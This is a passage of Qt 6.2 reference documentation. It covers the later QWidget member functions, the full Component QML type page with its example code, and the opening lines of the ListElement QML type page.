 Sets the margins around the contents of the widget to have the sizes *left*, *top*, *right*, and *bottom*. The margins are used by the layout system, and may be used by subclasses to specify the area to draw in (e.g. excluding the frame).

 Changing the margins will trigger a [resizeEvent](qwidget#resizeEvent)().

 **See also** [contentsRect](qwidget#contentsRect)() and [contentsMargins](qwidget#contentsMargins)().

 ### 
void QWidget::setContentsMargins(const [QMargins](qmargins) &*margins*)

 This is an overloaded function.

 The setContentsMargins function sets the margins around the widget's contents.

 Sets the margins around the contents of the widget to have the sizes determined by *margins*. The margins are used by the layout system, and may be used by subclasses to specify the area to draw in (e.g. excluding the frame).

 Changing the margins will trigger a [resizeEvent](qwidget#resizeEvent)().

 **See also** [contentsRect](qwidget#contentsRect)() and [contentsMargins](qwidget#contentsMargins)().

 ### 
void QWidget::setEditFocus(bool *enable*)

 If *enable* is true, make this widget have edit focus, in which case [Qt::Key\_Up](qt#Key-enum) and [Qt::Key\_Down](qt#Key-enum) will be delivered to the widget normally; otherwise, [Qt::Key\_Up](qt#Key-enum) and [Qt::Key\_Down](qt#Key-enum) are used to change focus.

 This feature is only available in Qt for Embedded Linux.

 **See also** [hasEditFocus](qwidget#hasEditFocus)() and [QApplication::navigationMode](qapplication#navigationMode)().

 ### 
void QWidget::setFixedHeight(int *h*)

 Sets both the minimum and maximum heights of the widget to *h* without changing the widths. Provided for convenience.

 **See also** [sizeHint](qwidget#sizeHint-prop)(), [minimumSize](qwidget#minimumSize-prop)(), [maximumSize](qwidget#maximumSize-prop)(), and [setFixedSize](qwidget#setFixedSize)().

 ### 
void QWidget::setFixedSize(const [QSize](qsize) &*s*)

 Sets both the minimum and maximum sizes of the widget to *s*, thereby preventing it from ever growing or shrinking.

 This will override the default size constraints set by [QLayout](qlayout).

 To remove constraints, set the size to [QWIDGETSIZE\_MAX](qwidget#QWIDGETSIZE_MAX).

 Alternatively, if you want the widget to have a fixed size based on its contents, you can call [QLayout::setSizeConstraint](qlayout#sizeConstraint-prop)([QLayout::SetFixedSize](qlayout#SizeConstraint-enum));

 **See also** [maximumSize](qwidget#maximumSize-prop) and [minimumSize](qwidget#minimumSize-prop).

 ### 
void QWidget::setFixedSize(int *w*, int *h*)

 This is an overloaded function.

 Sets the width of the widget to *w* and the height to *h*.

 ### 
void QWidget::setFixedWidth(int *w*)

 Sets both the minimum and maximum width of the widget to *w* without changing the heights. Provided for convenience.

 **See also** [sizeHint](qwidget#sizeHint-prop)(), [minimumSize](qwidget#minimumSize-prop)(), [maximumSize](qwidget#maximumSize-prop)(), and [setFixedSize](qwidget#setFixedSize)().

 ### 
void QWidget::setFocus([Qt::FocusReason](qt#FocusReason-enum) *reason*)

 Gives the keyboard input focus to this widget (or its focus proxy) if this widget or one of its parents is the [active window](qwidget#isActiveWindow-prop). The *reason* argument will be passed into any focus event sent from this function, it is used to give an explanation of what caused the widget to get focus. If the window is not active, the widget will be given the focus when the window becomes active.

 First, a focus about to change event is sent to the focus widget (if any) to tell it that it is about to lose the focus. Then focus is changed, a focus out event is sent to the previous focus item and a focus in event is sent to the new item to tell it that it just received the focus. (Nothing happens if the focus in and focus out widgets are the same.)

  **Note:** On embedded platforms, setFocus() will not cause an input panel to be opened by the input method. If you want this to happen, you have to send a [QEvent::RequestSoftwareInputPanel](qevent#Type-enum) event to the widget yourself.

  setFocus() gives focus to a widget regardless of its focus policy, but does not clear any keyboard grab (see [grabKeyboard](qwidget#grabKeyboard)()).

 Be aware that if the widget is hidden, it will not accept focus until it is shown.

  **Warning:** If you call setFocus() in a function which may itself be called from [focusOutEvent](qwidget#focusOutEvent)() or [focusInEvent](qwidget#focusInEvent)(), you may get an infinite recursion.

  **See also** [hasFocus](qwidget#focus-prop)(), [clearFocus](qwidget#clearFocus)(), [focusInEvent](qwidget#focusInEvent)(), [focusOutEvent](qwidget#focusOutEvent)(), [setFocusPolicy](qwidget#focusPolicy-prop)(), [focusWidget](qwidget#focusWidget)(), [QApplication::focusWidget](qapplication#focusWidget)(), [grabKeyboard](qwidget#grabKeyboard)(), [grabMouse](qwidget#grabMouse)(), [Keyboard Focus in Widgets](focus), and [QEvent::RequestSoftwareInputPanel](qevent#Type-enum).

 ### 
void QWidget::setFocusProxy([QWidget](qwidget#QWidget) \**w*)

 Sets the widget's focus proxy to widget *w*. If *w* is `nullptr`, the function resets this widget to have no focus proxy.

 Some widgets can "have focus", but create a child widget, such as [QLineEdit](qlineedit), to actually handle the focus. In this case, the widget can set the line edit to be its focus proxy.

 setFocusProxy() sets the widget which will actually get focus when "this widget" gets it. If there is a focus proxy, [setFocus](qwidget#setFocus-1)() and [hasFocus](qwidget#focus-prop)() operate on the focus proxy. If "this widget" is the focus widget, then setFocusProxy() moves focus to the new focus proxy.

 **See also** [focusProxy](qwidget#focusProxy)().

 ### 
void QWidget::setForegroundRole([QPalette::ColorRole](qpalette#ColorRole-enum) *role*)

 Sets the foreground role of the widget to *role*.

 The foreground role defines the color from the widget's [palette](qwidget#palette-prop) that is used to draw the foreground.

 If *role* is [QPalette::NoRole](qpalette#ColorRole-enum), the widget uses a foreground role that contrasts with the background role.

 Note that styles are free to choose any color from the palette. You can modify the palette or set a style sheet if you don't achieve the result you want with setForegroundRole().

 **See also** [foregroundRole](qwidget#foregroundRole)() and [backgroundRole](qwidget#backgroundRole)().

 ### 
void QWidget::setGeometry(int *x*, int *y*, int *w*, int *h*)

 This is an overloaded function.

 This corresponds to setGeometry([QRect](qrect)(*x*, *y*, *w*, *h*)).

 **Note:** Setter function for property [geometry](qwidget#geometry-prop). 

 ### 
void QWidget::setGraphicsEffect([QGraphicsEffect](qgraphicseffect) \**effect*)

 The setGraphicsEffect function is for setting the widget's graphics effect.

 Sets *effect* as the widget's effect. If there already is an effect installed on this widget, [QWidget](qwidget) will delete the existing effect before installing the new *effect*.

 If *effect* is the installed effect on a different widget, setGraphicsEffect() will remove the effect from the widget and install it on this widget.

 [QWidget](qwidget) takes ownership of *effect*.

  **Note:** This function will apply the effect on itself and all its children.

   **Note:** Graphics effects are not supported for OpenGL-based widgets, such as QGLWidget, QOpenGLWidget and [QQuickWidget](qquickwidget).

  **See also** [graphicsEffect](qwidget#graphicsEffect)().

 ### 
void QWidget::setLayout([QLayout](qlayout) \**layout*)

 Sets the layout manager for this widget to *layout*.

 If there already is a layout manager installed on this widget, [QWidget](qwidget) won't let you install another. You must first delete the existing layout manager (returned by [layout](qwidget#layout)()) before you can call setLayout() with the new layout.

 If *layout* is the layout manager on a different widget, setLayout() will reparent the layout and make it the layout manager for this widget.

 Example:

 
```
    QVBoxLayout *layout = new QVBoxLayout;
    layout->addWidget(formWidget);
    setLayout(layout);
```
 An alternative to calling this function is to pass this widget to the layout's constructor.

 The [QWidget](qwidget) will take ownership of *layout*.

 **See also** [layout](qwidget#layout)() and [Layout Management](layout).

 ### 
void QWidget::setMask(const [QBitmap](qbitmap) &*bitmap*)

 Causes only the pixels of the widget for which *bitmap* has a corresponding 1 bit to be visible. If the region includes pixels outside the [rect](qwidget#rect-prop)() of the widget, window system controls in that area may or may not be visible, depending on the platform.

 Note that this effect can be slow if the region is particularly complex.

 The following code shows how an image with an alpha channel can be used to generate a mask for a widget:

 
```
    QLabel topLevelLabel;
    QPixmap pixmap(":/images/tux.png");
    topLevelLabel.setPixmap(pixmap);
    topLevelLabel.setMask(pixmap.mask());
```
 The label shown by this code is masked using the image it contains, giving the appearance that an irregularly-shaped image is being drawn directly onto the screen.

 Masked widgets receive mouse events only on their visible portions.

 **See also** [mask](qwidget#mask)(), [clearMask](qwidget#clearMask)(), [windowOpacity](qwidget#windowOpacity-prop)(), and [Shaped Clock Example](https://doc.qt.io/qt-6.2/qtwidgets-widgets-shapedclock-example.html).

 ### 
void QWidget::setMask(const [QRegion](qregion) &*region*)

 This is an overloaded function.

 Causes only the parts of the widget which overlap *region* to be visible. If the region includes pixels outside the [rect](qwidget#rect-prop)() of the widget, window system controls in that area may or may not be visible, depending on the platform.

 Note that this effect can be slow if the region is particularly complex.

 **See also** [windowOpacity](qwidget#windowOpacity-prop).

 ### 
void QWidget::setMaximumSize(int *maxw*, int *maxh*)

 This is an overloaded function.

 This function corresponds to setMaximumSize([QSize](qsize)(*maxw*, *maxh*)). Sets the maximum width to *maxw* and the maximum height to *maxh*.

 **Note:** Setter function for property [maximumSize](qwidget#maximumSize-prop). 

 ### 
void QWidget::setMinimumSize(int *minw*, int *minh*)

 This is an overloaded function.

 This function corresponds to setMinimumSize([QSize](qsize)(minw, minh)). Sets the minimum width to *minw* and the minimum height to *minh*.

 **Note:** Setter function for property [minimumSize](qwidget#minimumSize-prop). 

 ### 
void QWidget::setParent([QWidget](qwidget#QWidget) \**parent*)

 Sets the parent of the widget to *parent*, and resets the window flags. The widget is moved to position (0, 0) in its new parent.

 If the new parent widget is in a different window, the reparented widget and its children are appended to the end of the [tab chain](qwidget#focusPolicy-prop) of the new parent widget, in the same internal order as before. If one of the moved widgets had keyboard focus, setParent() calls [clearFocus](qwidget#clearFocus)() for that widget.

 If the new parent widget is in the same window as the old parent, setting the parent doesn't change the tab order or keyboard focus.

 If the "new" parent widget is the old parent widget, this function does nothing.

  **Note:** The widget becomes invisible as part of changing its parent, even if it was previously visible. You must call [show](qwidget#show)() to make the widget visible again.

   **Warning:** It is very unlikely that you will ever need this function. If you have a widget that changes its content dynamically, it is far easier to use [QStackedWidget](qstackedwidget).

  **See also** [setWindowFlags](qwidget#windowFlags-prop)().

 ### 
void QWidget::setParent([QWidget](qwidget#QWidget) \**parent*, [Qt::WindowFlags](qt#WindowType-enum) *f*)

 This is an overloaded function.

 This function also takes widget flags, *f* as an argument.

 ### 
void QWidget::setScreen([QScreen](qscreen) \**screen*)

 Sets the screen on which the widget should be shown to *screen*.

 Setting the screen only makes sense for windows. If necessary, the widget's window will get recreated on *screen*.

  **Note:** If the screen is part of a virtual desktop of multiple screens, the window will not move automatically to *screen*. To place the window relative to the screen, use the screen's topLeft() position.

  **See also** [screen](qwidget#screen)() and [QWindow::setScreen](qwindow#setScreen)().

 ### 
void QWidget::setShortcutAutoRepeat(int *id*, bool *enable* = true)

 If *enable* is true, auto repeat of the shortcut with the given *id* is enabled; otherwise it is disabled.

 **See also** [grabShortcut](qwidget#grabShortcut)() and [releaseShortcut](qwidget#releaseShortcut)().

 ### 
void QWidget::setShortcutEnabled(int *id*, bool *enable* = true)

 If *enable* is true, the shortcut with the given *id* is enabled; otherwise the shortcut is disabled.

  **Warning:** You should not normally need to use this function since Qt's shortcut system enables/disables shortcuts automatically as widgets become hidden/visible and gain or lose focus. It is best to use [QAction](qaction) or [QShortcut](qshortcut) to handle shortcuts, since they are easier to use than this low-level function.

  **See also** [grabShortcut](qwidget#grabShortcut)() and [releaseShortcut](qwidget#releaseShortcut)().

 ### 
void QWidget::setSizeIncrement(int *w*, int *h*)

 This is an overloaded function.

 Sets the x (width) size increment to *w* and the y (height) size increment to *h*.

 **Note:** Setter function for property [sizeIncrement](qwidget#sizeIncrement-prop). 

 ### 
void QWidget::setSizePolicy([QSizePolicy::Policy](qsizepolicy#Policy-enum) *horizontal*, [QSizePolicy::Policy](qsizepolicy#Policy-enum) *vertical*)

 This is an overloaded function.

 Sets the size policy of the widget to *horizontal* and *vertical*, with standard stretch and no height-for-width.

 **Note:** Setter function for property [sizePolicy](qwidget#sizePolicy-prop). 

 **See also** [QSizePolicy::QSizePolicy](qsizepolicy#QSizePolicy)().

 ### 
void QWidget::setStyle([QStyle](qstyle) \**style*)

 Sets the widget's GUI style to *style*. The ownership of the style object is not transferred.

 If no style is set, the widget uses the application's style, [QApplication::style](qapplication#style)() instead.

 Setting a widget's style has no effect on existing or future child widgets.

  **Warning:** This function is particularly useful for demonstration purposes, where you want to show Qt's styling capabilities. Real applications should avoid it and use one consistent GUI style instead.

   **Warning:** Qt style sheets are currently not supported for custom [QStyle](qstyle) subclasses. We plan to address this in some future release.

  **See also** [style](qwidget#style)(), [QStyle](qstyle), [QApplication::style](qapplication#style)(), and [QApplication::setStyle](qapplication#setStyle)().

 ### 
`[static]` void QWidget::setTabOrder([QWidget](qwidget#QWidget) \**first*, [QWidget](qwidget#QWidget) \**second*)

 Puts the *second* widget after the *first* widget in the focus order.

 It effectively removes the *second* widget from its focus chain and inserts it after the *first* widget.

 Note that since the tab order of the *second* widget is changed, you should order a chain like this:

 
```
setTabOrder(a, b); // a to b
setTabOrder(b, c); // a to b to c
setTabOrder(c, d); // a to b to c to d
```
 *not* like this:

 
```
// WRONG
setTabOrder(c, d); // c to d
setTabOrder(a, b); // a to b AND c to d
setTabOrder(b, c); // a to b to c, but not c to d
```
 If *first* or *second* has a focus proxy, setTabOrder() correctly substitutes the proxy.

  **Note:** Since Qt 5.10: A widget that has a child as focus proxy is understood as a compound widget. When setting a tab order between one or two compound widgets, the local tab order inside each will be preserved. This means that if both widgets are compound widgets, the resulting tab order will be from the last child inside *first*, to the first child inside *second*.

  **See also** [setFocusPolicy](qwidget#focusPolicy-prop)(), [setFocusProxy](qwidget#setFocusProxy)(), and [Keyboard Focus in Widgets](focus).

 ### 
`[since 5.9]` void QWidget::setWindowFlag([Qt::WindowType](qt#WindowType-enum) *flag*, bool *on* = true)

 Sets the window flag *flag* on this widget if *on* is true; otherwise clears the flag.

 This function was introduced in Qt 5.9.

 **See also** [setWindowFlags](qwidget#windowFlags-prop)(), [windowFlags](qwidget#windowFlags-prop)(), and [windowType](qwidget#windowType)().

 ### 
void QWidget::setWindowRole(const [QString](qstring) &*role*)

 Sets the window's role to *role*. This only makes sense for windows on X11.

 **See also** [windowRole](qwidget#windowRole)().

 ### 
void QWidget::setWindowState([Qt::WindowStates](qt#WindowState-enum) *windowState*)

 Sets the window state to *windowState*. The window state is a OR'ed combination of [Qt::WindowState](qt#WindowState-enum): [Qt::WindowMinimized](qt#WindowState-enum), [Qt::WindowMaximized](qt#WindowState-enum), [Qt::WindowFullScreen](qt#WindowState-enum), and [Qt::WindowActive](qt#WindowState-enum).

 If the window is not visible (i.e. [isVisible](qwidget#visible-prop)() returns `false`), the window state will take effect when [show](qwidget#show)() is called. For visible windows, the change is immediate. For example, to toggle between full-screen and normal mode, use the following code:

 
```
w->setWindowState(w->windowState() ^ Qt::WindowFullScreen);
```
 In order to restore and activate a minimized window (while preserving its maximized and/or full-screen state), use the following:

 
```
w->setWindowState((w->windowState() & ~Qt::WindowMinimized) | Qt::WindowActive);
```
 Calling this function will hide the widget. You must call [show](qwidget#show)() to make the widget visible again.

  **Note:** On some window systems [Qt::WindowActive](qt#WindowState-enum) is not immediate, and may be ignored in certain cases.

  When the window state changes, the widget receives a [changeEvent](qwidget#changeEvent)() of type [QEvent::WindowStateChange](qevent#Type-enum).

 **See also** [Qt::WindowState](qt#WindowState-enum) and [windowState](qwidget#windowState)().

 ### 
void QWidget::setupUi([QWidget](qwidget#QWidget) \**widget*)

 Sets up the user interface for the specified *widget*.

  **Note:** This function is available with widgets that derive from user interface descriptions created using <uic>.

  **See also** [Using a Designer UI File in Your Application](designer-using-a-ui-file).

 ### 
`[virtual protected]` void QWidget::showEvent([QShowEvent](qshowevent) \**event*)

 This event handler can be reimplemented in a subclass to receive widget show events which are passed in the *event* parameter.

 Non-spontaneous show events are sent to widgets immediately before they are shown. The spontaneous show events of windows are delivered afterwards.

 Note: A widget receives spontaneous show and hide events when its mapping status is changed by the window system, e.g. a spontaneous hide event when the user minimizes the window, and a spontaneous show event when the window is restored again. After receiving a spontaneous hide event, a widget is still considered visible in the sense of [isVisible](qwidget#visible-prop)().

 **See also** [visible](qwidget#visible-prop), [event](qwidget#event)(), and [QShowEvent](qshowevent).

 ### 
void QWidget::stackUnder([QWidget](qwidget#QWidget) \**w*)

 Places the widget under *w* in the parent widget's stack.

 To make this work, the widget itself and *w* must be siblings.

 **See also** [raise](qwidget#raise)() and [lower](qwidget#lower)().

 ### 
[QStyle](qstyle) \*QWidget::style() const

 **See also** [QWidget::setStyle](qwidget#setStyle)(), [QApplication::setStyle](qapplication#setStyle)(), and [QApplication::style](qapplication#style)().

 ### 
`[virtual protected]` void QWidget::tabletEvent([QTabletEvent](qtabletevent) \**event*)

 This event handler, for event *event*, can be reimplemented in a subclass to receive tablet events for the widget.

 If you reimplement this handler, it is very important that you [ignore()](qevent) the event if you do not handle it, so that the widget's parent can interpret it.

 The default implementation ignores the event.

 If tablet tracking is switched off, tablet move events only occur if the stylus is in contact with the tablet, or at least one stylus button is pressed, while the stylus is being moved. If tablet tracking is switched on, tablet move events occur even while the stylus is hovering in proximity of the tablet, with no buttons pressed.

 **See also** [QEvent::ignore](qevent#ignore)(), [QEvent::accept](qevent#accept)(), [event](qwidget#event)(), [setTabletTracking](qwidget#tabletTracking-prop)(), and [QTabletEvent](qtabletevent).

 ### 
bool QWidget::testAttribute([Qt::WidgetAttribute](qt#WidgetAttribute-enum) *attribute*) const

 Returns `true` if attribute *attribute* is set on this widget; otherwise returns `false`.

 **See also** [setAttribute](qwidget#setAttribute)().

 ### 
bool QWidget::underMouse() const

 Returns `true` if the widget is under the mouse cursor; otherwise returns `false`.

 This value is not updated properly during drag and drop operations.

 **See also** [enterEvent](qwidget#enterEvent)() and [leaveEvent](qwidget#leaveEvent)().

 ### 
void QWidget::ungrabGesture([Qt::GestureType](qt#GestureType-enum) *gesture*)

 Unsubscribes the widget from a given *gesture* type

 **See also** [grabGesture](qwidget#grabGesture)() and [QGestureEvent](qgestureevent).

 ### 
void QWidget::update(int *x*, int *y*, int *w*, int *h*)

 This is an overloaded function.

 This version updates a rectangle (*x*, *y*, *w*, *h*) inside the widget.

 ### 
void QWidget::update(const [QRect](qrect) &*rect*)

 This is an overloaded function.

 This version updates a rectangle *rect* inside the widget.

 ### 
void QWidget::update(const [QRegion](qregion) &*rgn*)

 This is an overloaded function.

 This version repaints a region *rgn* inside the widget.

 ### 
void QWidget::updateGeometry()

 Notifies the layout system that this widget has changed and may need to change geometry.

 Call this function if the [sizeHint](qwidget#sizeHint-prop)() or [sizePolicy](qwidget#sizePolicy-prop)() have changed.

 For explicitly hidden widgets, updateGeometry() is a no-op. The layout system will be notified as soon as the widget is shown.

 ### 
[QRegion](qregion) QWidget::visibleRegion() const

 Returns the unobscured region where paint events can occur.

 For visible widgets, this is an approximation of the area not covered by other widgets; otherwise, this is an empty region.

 The [repaint](qwidget#repaint)() function calls this function if necessary, so in general you do not need to call it.

 ### 
`[virtual protected]` void QWidget::wheelEvent([QWheelEvent](qwheelevent) \**event*)

 This event handler, for event *event*, can be reimplemented in a subclass to receive wheel events for the widget.

 If you reimplement this handler, it is very important that you [ignore()](qevent) the event if you do not handle it, so that the widget's parent can interpret it.

 The default implementation ignores the event.

 **See also** [QEvent::ignore](qevent#ignore)(), [QEvent::accept](qevent#accept)(), [event](qwidget#event)(), and [QWheelEvent](qwheelevent).

 ### 
WId QWidget::winId() const

 Returns the window system identifier of the widget.

 Portable in principle, but if you use it you are probably about to do something non-portable. Be careful.

 If a widget is non-native (alien) and winId() is invoked on it, that widget will be provided a native handle.

 This value may change at run-time. An event with type [QEvent::WinIdChange](qevent#Type-enum) will be sent to the widget following a change in window system identifier.

 **See also** [find](qwidget#find)().

 ### 
[QWidget](qwidget#QWidget) \*QWidget::window() const

 Returns the window for this widget, i.e. the next ancestor widget that has (or could have) a window-system frame.

 If the widget is a window, the widget itself is returned.

 Typical usage is changing the window title:

 
```
aWidget->window()->setWindowTitle("New Window Title");
```
 **See also** [isWindow](qwidget#isWindow)().

 ### 
`[since 5.0]` [QWindow](qwindow) \*QWidget::windowHandle() const

 If this is a native widget, return the associated [QWindow](qwindow). Otherwise return null.

 Native widgets include toplevel widgets, QGLWidget, and child widgets on which [winId](qwidget#winId)() was called.

 This function was introduced in Qt 5.0.

 **See also** [winId](qwidget#winId)() and [screen](qwidget#screen)().

 ### 
[QString](qstring) QWidget::windowRole() const

 Returns the window's role, or an empty string.

 **See also** [setWindowRole](qwidget#setWindowRole)(), [windowIcon](qwidget#windowIcon-prop), and [windowTitle](qwidget#windowTitle-prop).

 ### 
[Qt::WindowStates](qt#WindowState-enum) QWidget::windowState() const

 Returns the current window state. The window state is a OR'ed combination of [Qt::WindowState](qt#WindowState-enum): [Qt::WindowMinimized](qt#WindowState-enum), [Qt::WindowMaximized](qt#WindowState-enum), [Qt::WindowFullScreen](qt#WindowState-enum), and [Qt::WindowActive](qt#WindowState-enum).

 **See also** [Qt::WindowState](qt#WindowState-enum) and [setWindowState](qwidget#setWindowState)().

 ### 
[Qt::WindowType](qt#WindowType-enum) QWidget::windowType() const

 Returns the window type of this widget. This is identical to [windowFlags](qwidget#windowFlags-prop)() & [Qt::WindowType\_Mask](qt#WindowType-enum).

 **See also** [windowFlags](qwidget#windowFlags-prop).

  Macro Documentation
-------------------

 ### 
QWIDGETSIZE\_MAX

 Defines the maximum size for a [QWidget](qwidget) object.

 The largest allowed size for a widget is [QSize](qsize)(QWIDGETSIZE\_MAX, QWIDGETSIZE\_MAX), i.e. [QSize](qsize) (16777215,16777215).

 **See also** [QWidget::setMaximumSize](qwidget#maximumSize-prop)().

 

 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qwidget.html>

Component QML Type
==================

 Encapsulates a QML component definition. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQml |
|  Instantiates: | [QQmlComponent](qqmlcomponent) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtqml-component-members.html)

 Properties
----------

 * **[progress](qml-qtqml-component#progress-prop)** : real
* **[status](qml-qtqml-component#status-prop)** : enumeration
* **[url](qml-qtqml-component#url-prop)** : url

 Attached Signals
----------------

 * **[completed](qml-qtqml-component#completed-signal)**()
* **[destruction](qml-qtqml-component#destruction-signal)**()

 Methods
-------

 * QtObject **[createObject](qml-qtqml-component#createObject-method)**(QtObject *parent*, object *properties*)
* string **[errorString](qml-qtqml-component#errorString-method)**()
* object **[incubateObject](qml-qtqml-component#incubateObject-method)**(QtObject *parent*, object *properties*, enumeration *mode*)

 Detailed Description
--------------------

 Components are reusable, encapsulated QML types with well-defined interfaces.

 Components are often defined by [component files](https://doc.qt.io/qt-6.2/qtqml-documents-topic.html) - that is, `.qml` files. The *Component* type essentially allows QML components to be defined inline, within a [QML document](https://doc.qt.io/qt-6.2/qtqml-documents-topic.html), rather than as a separate QML file. This may be useful for reusing a small component within a QML file, or for defining a component that logically belongs with other QML components within a file.

 For example, here is a component that is used by multiple [Loader](qml-qtquick-loader) objects. It contains a single item, a [Rectangle](qml-qtquick-rectangle):

 
```
import QtQuick 2.0

Item {
    width: 100; height: 100

    Component {
        id: redSquare

        Rectangle {
            color: "red"
            width: 10
            height: 10
        }
    }

    Loader { sourceComponent: redSquare }
    Loader { sourceComponent: redSquare; x: 20 }
}
```
 Notice that while a [Rectangle](qml-qtquick-rectangle) by itself would be automatically rendered and displayed, this is not the case for the above rectangle because it is defined inside a `Component`. The component encapsulates the QML types within, as if they were defined in a separate QML file, and is not loaded until requested (in this case, by the two [Loader](qml-qtquick-loader) objects). Because Component is not derived from Item, you cannot anchor anything to it.

 Defining a `Component` is similar to defining a [QML document](https://doc.qt.io/qt-6.2/qtqml-documents-topic.html). A QML document has a single top-level item that defines the behavior and properties of that component, and cannot define properties or behavior outside of that top-level item. In the same way, a `Component` definition contains a single top level item (which in the above example is a [Rectangle](qml-qtquick-rectangle)) and cannot define any data outside of this item, with the exception of an *id* (which in the above example is *redSquare*).

 The `Component` type is commonly used to provide graphical components for views. For example, the [ListView::delegate](qml-qtquick-listview#delegate-prop) property requires a `Component` to specify how each list item is to be displayed.

 `Component` objects can also be created dynamically using [Qt.createComponent](qml-qtqml-qt#createComponent-method)().

 ### Creation Context

 The creation context of a Component corresponds to the context where the Component was declared. This context is used as the parent context (creating a [context hierarchy](qtqml-documents-scope#component-instance-hierarchy)) when the component is instantiated by an object such as a [ListView](qml-qtquick-listview) or a Loader.

 In the following example, `comp1` is created within the root context of MyItem.qml, and any objects instantiated from this component will have access to the ids and properties within that context, such as `internalSettings.color`. When `comp1` is used as a [ListView](qml-qtquick-listview) delegate in another context (as in main.qml below), it will continue to have access to the properties of its creation context (which would otherwise be private to external users).

 

|  |  |
| --- | --- |
| MyItem.qml | 
```
Item {
    property Component mycomponent: comp1

    QtObject {
        id: internalSettings
        property color color: "green"
    }

    Component {
        id: comp1
        Rectangle { color: internalSettings.color; width: 400; height: 50 }
    }
}
```
 |
| main.qml | 
```
ListView {
    width: 400; height: 400
    model: 5
    delegate: myItem.mycomponent    //will create green Rectangles

    MyItem { id: myItem }
}
```
 |

 It is important that the lifetime of the creation context outlive any created objects. See [Maintaining Dynamically Created Objects](qtqml-javascript-dynamicobjectcreation#maintaining-dynamically-created-objects) for more details.

 Property Documentation
----------------------

 ###  progress : [real](qml-real)

 The progress of loading the component, from 0.0 (nothing loaded) to 1.0 (finished).

 ###  status : [enumeration](qml-enumeration)

 This property holds the status of component loading. The status can be one of the following:

 * `Component.Null` - no data is available for the component
* `Component.Ready` - the component has been loaded, and can be used to create instances.
* `Component.Loading` - the component is currently being loaded
* `Component.Error` - an error occurred while loading the component. Calling [errorString](qml-qtqml-component#errorString-method)() will provide a human-readable description of any errors.

 ###  url : [url](qml-url)

 The component URL. This is the URL that was used to construct the component.

 Attached Signal Documentation
-----------------------------

 ###  completed()

 Emitted after the object has been instantiated. This can be used to execute script code at startup, once the full QML environment has been established.

 The `onCompleted` signal handler can be declared on any object. The order of running the handlers is undefined.

 
```
Rectangle {
    Component.onCompleted: console.log("Completed Running!")
    Rectangle {
        Component.onCompleted: console.log("Nested Completed Running!")
    }
}
```
 **Note:** The corresponding handler is `onCompleted`.

 ###  destruction()

 Emitted as the object begins destruction. This can be used to undo work done in response to the [completed](qml-qtqml-component#completed-signal)() signal, or other imperative code in your application.

 The `onDestruction` signal handler can be declared on any object. The order of running the handlers is undefined.

 
```
Rectangle {
    Component.onDestruction: console.log("Destruction Beginning!")
    Rectangle {
        Component.onDestruction: console.log("Nested Destruction Beginning!")
    }
}
```
 **Note:** The corresponding handler is `onDestruction`.

 **See also** [Qt QML](qtqml-index).

 Method Documentation
--------------------

 ###  [QtObject](qml-qtqml-qtobject) createObject([QtObject](qml-qtqml-qtobject) *parent*, object *properties*)

 Creates and returns an object instance of this component that will have the given *parent* and *properties*. The *properties* argument is optional. Returns null if object creation fails.

 The object will be created in the same context as the one in which the component was created. This function will always return null when called on components which were not created in QML.

 If you wish to create an object without setting a parent, specify `null` for the *parent* value. Note that if the returned object is to be displayed, you must provide a valid *parent* value or set the returned object's [parent](qml-qtquick-item#parent-prop) property, otherwise the object will not be visible.

 If a *parent* is not provided to createObject(), a reference to the returned object must be held so that it is not destroyed by the garbage collector. This is true regardless of whether [Item::parent](qml-qtquick-item#parent-prop) is set afterwards, because setting the Item parent does not change object ownership. Only the graphical parent is changed.

 As of `QtQuick 1.1`, this method accepts an optional *properties* argument that specifies a map of initial property values for the created object. These values are applied before the object creation is finalized. This is more efficient than setting property values after object creation, particularly where large sets of property values are defined, and also allows property bindings to be set up (using [Qt.binding](qml-qtqml-qt#binding-method)) before the object is created.

 The *properties* argument is specified as a map of property-value items. For example, the code below creates an object with initial `x` and `y` values of 100 and 100, respectively:

 
```
const component = Qt.createComponent("Button.qml");
if (component.status === Component.Ready) {
    component.createObject(parent, { x: 100, y: 100 });
}
```
 Dynamically created instances can be deleted with the `destroy()` method. See [Dynamic QML Object Creation from JavaScript](qtqml-javascript-dynamicobjectcreation) for more information.

 **See also** [incubateObject](qml-qtqml-component#incubateObject-method)().

 ###  [string](qml-string) errorString()

 Returns a human-readable description of any error.

 The string includes the file, location, and description of each error. If multiple errors are present, they are separated by a newline character.

 If no errors are present, an empty string is returned.

 ###  object incubateObject([QtObject](qml-qtqml-qtobject) *parent*, object *properties*, [enumeration](qml-enumeration) *mode*)

 Creates an incubator for an instance of this component. Incubators allow new component instances to be instantiated asynchronously and do not cause freezes in the UI.

 The *parent* argument specifies the parent the created instance will have. Omitting the parameter or passing null will create an object with no parent. In this case, a reference to the created object must be held so that it is not destroyed by the garbage collector.

 The *properties* argument is specified as a map of property-value items which will be set on the created object during its construction. *mode* may be Qt.Synchronous or Qt.Asynchronous, and controls whether the instance is created synchronously or asynchronously. The default is asynchronous. In some circumstances, even if Qt.Synchronous is specified, the incubator may create the object asynchronously. This happens if the component calling incubateObject() is itself being created asynchronously.

 All three arguments are optional.

 If successful, the method returns an incubator, otherwise null. The incubator has the following properties:

 * `status` - The status of the incubator. Valid values are Component.Ready, Component.Loading and Component.Error.
* `object` - The created object instance. Will only be available once the incubator is in the Ready status.
* `onStatusChanged` - Specifies a callback function to be invoked when the status changes. The status is passed as a parameter to the callback.
* `forceCompletion()` - Call to complete incubation synchronously.

 The following example demonstrates how to use an incubator:

 
```
const component = Qt.createComponent("Button.qml");

const incubator = component.incubateObject(parent, { x: 10, y: 10 });
if (incubator.status !== Component.Ready) {
    incubator.onStatusChanged = function(status) {
        if (status === Component.Ready) {
            print("Object", incubator.object, "is now ready!");
        }
    };
} else {
    print("Object", incubator.object, "is ready immediately!");
}
```
 Dynamically created instances can be deleted with the `destroy()` method. See [Dynamic QML Object Creation from JavaScript](qtqml-javascript-dynamicobjectcreation) for more information.

 **See also** [createObject](qml-qtqml-component#createObject-method)().



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtqml-component.html>

ListElement QML Type
====================

 Defines a data item in a [ListModel](qml-qtqml-models-listmodel). [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQml.Models |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtqml-models-listelement-members.html)

